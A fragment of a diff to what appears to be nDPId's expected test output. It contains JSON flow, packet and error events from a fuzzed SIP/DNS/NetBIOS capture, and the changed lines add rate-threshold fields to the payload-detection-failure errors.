01000{"packet_event_id":1,"packet_event_name":"packet","packet_id":432,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":532,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":532,"pkt_l4_len":0,"thread_ts_usec":1120470473529233,"pkt":"AODtCW69ADBUADRWCABFACVzAABAADcRiifU8iEjwKgBAhPEE8QB8jJ0U0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDc3IFJFR0lTVEVSDQpGcm9tOiA8c2lwOnZvaTE4MDYyQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz0zYTU4MTQxDQpUbzogPHNpcDp2b2kxODA2MkBzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwODktMTcwMWI2ODMtMThlYzGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":433,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":167,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470474627370,"flow_src_last_pkt_time":1120470474627370,"flow_dst_last_pkt_time":1120470474627370,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470474627370,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_src_last_pkt_time":1120470474627370,"flow_dst_last_pkt_time":1120470474627370,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470474627370,"pkt":"ADBUADRWAODtAW69CABFAABIa2MAAIARS+7AqAECwKgBAQrlADUANLH1d+oBgAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1186,7 +1186,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470490640835,"flow_src_last_pkt_time":1120470490640835,"flow_dst_last_pkt_time":1120470490640835,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470490640835,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2790,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00563{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_src_last_pkt_time":1120470490640835,"flow_dst_last_pkt_time":1120470490640835,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470490640835,"pkt":"ADBUADRWAODlAW69CABFAABEa2cAAIARS+7AqAECwKgBAQrmADUAMMHtYusAAAABAAAA6QAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":168,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470490640835,"flow_src_last_pkt_time":1120470490640835,"flow_dst_last_pkt_time":1120470490640835,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470490640835,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2790,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":440,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470490642320} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470490642320,"packet_id":440,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470490642320} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":440,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"thread_ts_usec":1120470490640835,"pkt":"AJLtAW69ADBUADRWCABFAABbAABADUARtz7AqAEBwKgBAgA1CuYAR6QBYuuAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":442,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":169,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470490782704,"flow_src_last_pkt_time":1120470490782704,"flow_dst_last_pkt_time":1120470490782704,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470490782704,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.37.115.0","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01158{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_src_last_pkt_time":1120470490782704,"flow_dst_last_pkt_time":1120470490782704,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"thread_ts_usec":1120470490782704,"pkt":"AODtAW69ADBUADRWCABFAAIBAABAADcRiizU8iEjwCVzABPEE8QB7RaaU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiA1NzgyMjI3MjktNDY2NWQ3NzVANTc4MjIyNzMyLTQ2NjVkNzcyDQpDU2VxOiA3OCBSRUdJU1RFUg0KRnJvbTogPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9M2EyZDBkYw0KVG86IDxzaXA6MzUxMDQ3MjNAc2lwLmN5YmVyY2l0NC5kaz47dGFnPTAwLTk0JXMALTE3MDFiNmFiLTEzOTM1YzgzNA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjtyYWNlaXZlZD04MC4yMzAuMjE5cjcwO3Jwb3J0PTUwNjA7YnJhbmNoPXo5SEc0YktucDYxMDAxODczLTQzYmViWWE1MTkyLjE2OC4xLjINCldXVy1BdXRoZW50aWNhdGU6IERpZ2VzdCByZWFsbT0ic2lwLmN5YmVyY2l0eS5kayIsbm9mY2U9IjE3MDFiNjliNDdiNTFjNmQ2NmM5ZTQ1MDNjNjc5YzIiLG9wYXF1ZT0iMTcwMWExMzUxZjcwNzk1IixzdGFsZT1mYWxzZSxhbGdvcml0aG30TUQ1DQpDb250ZW50Lf5lbmd0aDogMA0KDQo="} @@ -1197,7 +1197,7 @@ 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470492042418,"flow_src_last_pkt_time":1120470492042418,"flow_dst_last_pkt_time":1120470492042418,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470492042418,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_src_last_pkt_time":1120470492042418,"flow_dst_last_pkt_time":1120470492042418,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470492042418,"pkt":"ADBUADRWAODtAW69CABFAABIa2oAAIARS+fAqAE1wKgBAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01017{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":444,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":171,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470492042418,"flow_src_last_pkt_time":1120470492042418,"flow_dst_last_pkt_time":1120470492042418,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470492042418,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"192.168.1.1","src_port":2791,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":445,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470494045299} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470494045299,"packet_id":445,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470494045299} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":445,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470492042418,"pkt":"ADBUADRWAODtAW69CABFAABIayVzAIARS+bAqAECwKgBAQrnADUANKbygusBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":446,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":172,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470494127462,"flow_src_last_pkt_time":1120470494127462,"flow_dst_last_pkt_time":1120470494127462,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470494127462,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.194.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00584{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_src_last_pkt_time":1120470494127462,"flow_dst_last_pkt_time":1120470494127462,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470494127462,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa2wAAIARSuHAqAECwMIB\/wCJAIkAOltkhTcBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} @@ -1233,7 +1233,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470509449334,"flow_src_last_pkt_time":1120470509449334,"flow_dst_last_pkt_time":1120470509449334,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470509449334,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_src_last_pkt_time":1120470509449334,"flow_dst_last_pkt_time":1120470509449334,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120470509449334,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEB8KgBAgA1CugAR8ZmQOyAAABkAAEAAAAAATEBMAEwAzEyNwdpbi1hGmRyBGFycGEAAFcAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 01133{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":452,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470509449334,"flow_src_last_pkt_time":1120470509449334,"flow_dst_last_pkt_time":1120470509449334,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470509449334,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-a?dr.arpa","dns": {"num_queries":100,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":454,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498,"global_ts_usec":1120470509599796} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470509599796,"packet_id":454,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":498,"global_ts_usec":1120470509599796} 01000{"packet_event_id":1,"packet_event_name":"packet","packet_id":454,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":532,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":532,"pkt_l4_len":0,"thread_ts_usec":1120470509450894,"pkt":"AODtAW69ADBUADRWCABFAEMGAABAADcRiifU8iEjwKgBAhPEE8QB8vKXU0lQLzIuMCA0MDEgbm9uY2UgaGFzIGNoYW5nZWQNCkNhbGwtSUQ6IDU3ODIyMjcyOS00NjY1ZDc3NUA1NzgyMjI3MzItNDY2NWQ3NzINCkNTZXE6IDc5IFJFR0lTVEVSDQpGcm9tOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz0zNzBkOGU1DQpUbzogPHNpcDozNTEwNDcyM2pzaXAuY3liZSljaXR5LmRrPjt0YWc9MDAtMDQwODMtMTcwMWI2ZGQtMDUxZjVkYzMxDQpWaWE6IFNJUC8yLjAvVURQIDE5Mi4xNo4uMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTUuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wNTc3MjYxOTctNDg0MWM3Y2QxOTIuMTY4LjEuMvQKV1dXLUF1dGhlbnRpY2F0ZTogRGlnZXN0IHJlYWxtPSJzaXAuY3lzZXJjaXR5LmRrIixub25jZT0iMTcwMWI2Y2MxY2JjOTBkMzI4ZmUxZjFhMzFhMmM0ZSIsb3BhcXVlPSIxNzAxYTEzNTFmNzA3OTUiLHN0YWxlPWZhbHNlLGFsZ29yaXRobT1NRDUNCkNvbnRlbnQtTGVuZ3RoOiAwDQoNCg=="} 00738{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":117,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470187656855,"flow_src_last_pkt_time":1120470187656855,"flow_dst_last_pkt_time":1120470440137922,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":71,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":71,"flow_dst_max_l4_payload_len":52,"flow_src_tot_l4_payload_len":71,"flow_dst_tot_l4_payload_len":52,"midstream":0,"thread_ts_usec":1120470509450894,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.2","l4_proto":37,"flow_datalink":1,"flow_max_packets":3} 00775{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":455,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456286438,"flow_src_last_pkt_time":1120470456286438,"flow_dst_last_pkt_time":1120470456286438,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470509450894,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1309,7 +1309,7 @@ 01031{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470509449334,"flow_src_last_pkt_time":1120470509449334,"flow_dst_last_pkt_time":1120470509449334,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":63,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":63,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":63,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470590283652,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"240.168.1.2","src_port":53,"dst_port":2792,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00773{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":159,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470447197884,"flow_src_last_pkt_time":1120470447197884,"flow_dst_last_pkt_time":1120470447197884,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":50,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":50,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":50,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470590283652,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":35721,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00742{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":107,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470114910372,"flow_src_last_pkt_time":1120470114910372,"flow_dst_last_pkt_time":1120470114910372,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":383,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":383,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":383,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470590283652,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","l4_proto":118,"flow_datalink":1,"flow_max_packets":3} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470636050780} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470636050780,"packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58,"global_ts_usec":1120470636050780} 00419{"packet_event_id":1,"packet_event_name":"packet","packet_id":461,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"thread_ts_usec":1120470590283652,"pkt":"\/\/\/\/\/\/\/\/AODtAW5LCABFAJxOa4EAAIARSszAqAECwKgB\/wCJAIkAOltZhUIBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFTkVPYkFDQUNBekFDQUJNAAAgAAE="} 00817{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456286438,"flow_src_last_pkt_time":1120470456286438,"flow_dst_last_pkt_time":1120470456286438,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470637551625,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00773{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":162,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470456286438,"flow_src_last_pkt_time":1120470456286438,"flow_dst_last_pkt_time":1120470456286438,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470637551625,"l3_proto":"ip4","src_ip":"212.242.33.35","dst_ip":"192.168.1.2","src_port":9587,"dst_port":196,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1365,7 +1365,7 @@ 00584{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":2,"flow_src_last_pkt_time":1120470662812917,"flow_dst_last_pkt_time":1120470658556995,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470662812917,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMUAAIARWWHAqAEpwKgB\/wCJAIkAOGggkVIBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUM1Q0FDQUNBQ0FDQUJMAAAgAAE="} 00584{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":3,"flow_src_last_pkt_time":1120470663563918,"flow_dst_last_pkt_time":1120470658556995,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"thread_ts_usec":1120470663563918,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMYAAIARWWDAqAEpwKgB\/wCJAIkAOmggkVIBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} 